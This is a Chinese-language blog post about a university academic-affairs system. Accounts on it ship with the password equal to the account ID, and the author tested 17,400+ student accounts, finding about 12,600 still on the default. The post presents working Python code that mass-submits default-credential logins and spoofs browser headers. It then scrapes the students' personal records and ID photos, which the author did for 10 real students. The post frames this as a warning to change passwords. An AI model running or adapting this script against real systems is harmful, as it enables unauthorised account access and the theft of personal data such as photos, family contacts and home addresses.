本文旨在提醒同学们及时修改密码,增强保护个人隐私的意识,因此代码中一些关键数据以及校名等信息不会公开!复制粘贴文章中的代码不会爬到任何东西。只是作为学习 Python 爬虫的一点总结而已!
作者所在学校的教务系统安全防范措施可谓非常不严密,学生登录甚至不需要图形验证码。每年学生入学之后,学校下发的账号,初始密码不是无规律的,而是和账号完全一致!如果学生不及时修改密码,那么其他人可以轻松登录他的账号。登录后可以看到学生的学籍信息,包括高考报名时照片,家长联系方式等,联系地址甚至详细到几单元几楼几号门,个人信息泄露情况非常严重!
先说结果。经过两天连写带调试,终于完成了对全校本科生 17400 多个在网账号的测试,其中有 12600 多个账号使用的还是初始密码。此处隐去校名,统计结果如下:
序号 | 学院 | 年级 | 在网账号 | 可爬账号 | 年级占比 |
---|---|---|---|---|---|
1 | 本一 | 2014 | 3157 | 1998 | 63.29% |
2 | 本一 | 2015 | 3328 | 2234 | 67.13% |
3 | 本一 | 2016 | 3641 | 3066 | 84.21% |
4 | 本一 | 2017 | 3497 | 3326 | 95.11% |
5 | 本三 | 2014 | 1759 | 303 | 17.23% |
6 | 本三 | 2015 | 1643 | 620 | 37.74% |
7 | 本三 | 2016 | 1605 | 1434 | 89.35% |
8 | 本三 | 2017 | 1552 | 639 | 41.17% |
介于初衷,只爬了 10 个账号的信息,以示严重性!
本人之前做过近 2 年的 Java 相关开发,对 HTTP 协议中常用的知识了解一些,再加上 Python 出了名的简洁易用,因此入门还是比较轻松的。去年有一段时间研究过一阵子 Python,使用的是 Scrapy 框架,所以这一次我也首先想到了 Scrapy。
Scrapy 这种框架适用的情形是:已经获取了需要爬取的页面的一系列 URL ,或者 URL 是成一定规律变化的,不需要登录或者登录一次拿到 Cookie 就可以拿着这个 Cookie 一直用了。但是教务系统完全相反,它需要每次都进行登录,也许 Scrapy 有办法,但也不会太简单,索性自己写。
这套教务系统虽然安全性不怎么样,但也已是一套成熟的产品了,功能和稳定性上还是很不错的。
首先使用 Firefox 浏览器的开发者工具查看 HTTP 通信的一些信息:
登录表单通过 POST 请求进行提交,参数是账号和密码,发送的也是明文
服务器返回的响应中 Set-Cookie 就相当于给用户下发的令牌,用户下一次请求的时候带上这块令牌,服务器就能认出来这个用户是否刚登录过。这个令牌是有时间限制的,每次请求都会刷新一次时间,如果两次请求之间间隔时间超过设定值,那么服务器就不认识用户了,这次会话就结束了,需要重新登录。
刚开始使用的是 requests ,用 for 循环实现,由于 requests 是同步的,所以效率很低,还会经常卡死。后来改成了协程,用的 gevent + urllib3,效率提升了上百倍。解析 HTML 用的 lxml 的 etree,图片的保存用 PIL 的 Image。
先引入依赖
import sys
import logging
import gevent
import urllib3
import pathlib
from PIL import Image
from io import BytesIO
from lxml import etree
创建 HTTP 连接池
http = urllib3.HTTPConnectionPool(
host=settings.SERVER_HOST,
port=settings.SERVER_PORT,
strict=False,
maxsize=100,
block=False,
retries=100,
timeout=10
)
请求头的一些固定信息可以预先设定好,伪装浏览器
header = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cache-Control': 'max-age=0',
'Connection': 'Keep-alive',
'Host': settings.SERVER_HOST,
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'
}
登录并验证是否是初始密码
# 账号校验器
class InfoValidate(object):
def __init__(self):
self.logger = InfoMain.logger
self.http = InfoMain.http
# 有效账号
self.account_valid = []
# 可爬账号
self.account_available = []
def validate(self, all_account):
# 将所有校验过程加入队列
jobs = [gevent.spawn(self.validate_account, self.http, a) for a in all_account]
gevent.joinall(jobs, timeout=0)
def validate_account(self, http, account):
# 登录请求参数
param = {
"zjh": account, "mm": account}
header = headers.header
response = http.request('POST', settings.URL_LOGIN, fields=param, headers=header)
self.logger.info('发送请求>>{}'.format(param))
self.logger.info(response.status)
# 响应体解码
res_text = response.data.decode('GB2312', 'ignore')
if res_text.find('密码不正确') > -1:
# 密码有误
self.account_valid.append(account)
elif not res_text.find('证件号不存在') > -1:
# 账号可爬
self.account_available.append(account)
self.account_valid.append(account)
self.logger.info("账号可用>>>{}".format(account))
至此已经获取了所有初始密码未修改的账号了,下面研究一下,要爬取的学籍信息页的规律
一系列的信息都包裹在
之间,对应的 xpath 表达式即为 //td[starts-with(@width,"275")]/text()
基于之前对账号的测试,爬取学籍信息
# 信息收集器
class InfoCollect(object):
def __init__(self):
self.logger = InfoMain.logger
self.http = InfoMain.http
# 功能模块
self.mod_get_roll_info = settings.MOD_ROLL_INFO
self.mod_get_roll_img = settings.MOD_ROLL_IMG
def get_info_queue(self, accounts):
# 将所有信息收集过程加入队列
jobs = [gevent.spawn(self.get_info, a) for a in accounts]
gevent.joinall(jobs, timeout=0)
def get_info(self, stuid):
# 登录
param = {
'zjh': stuid, 'mm': stuid}
response = self.http.request('POST', settings.URL_LOGIN, fields=param)
# 保存 Cookie
cookie = response.headers['Set-Cookie'].replace('; path=/', '')
header = headers.header
header['cookie'] = cookie
# 学籍信息
if self.mod_get_roll_info:
# 带 Cookie 访问学籍信息页
response_xjxx = self.http.request('GET', settings.URL_XJXX, headers=header)
text = response_xjxx.data.decode('GB2312', 'ignore')
# 解析页面内容
selector = etree.HTML(text)
text_arr = selector.xpath('//td[starts-with(@width,"275")]/text()')
# 学籍信息
result = []
for info in text_arr:
result.append(info.strip())
self.save_info(result)
# 学籍照片
if self.mod_get_roll_img:
response_xjzp = self.http.request('GET', settings.URL_XJZP, headers=header)
image = Image.open(BytesIO(response_xjzp.data))
setpath = settings.PATH_IMG_SAVE
path = pathlib.Path(setpath)
if not path.exists():
path.mkdir()
setpath = setpath + '/' + stuid + '.jpg'
image.save(setpath)
self.logger.info('保存照片>>>{}'.format(setpath))
# 登出
self.http.request('POST', settings.URL_LOGOUT, headers=header)
至此,已经实现了所有信息的获取以及照片的保存。
没改密码的同学们应该看到了,获取个人信息其实很简单,关键在于增强自己保护个人信息的意识。
相关开源项目:URP_Spider https://github.com/JamesZBL/URP_Spider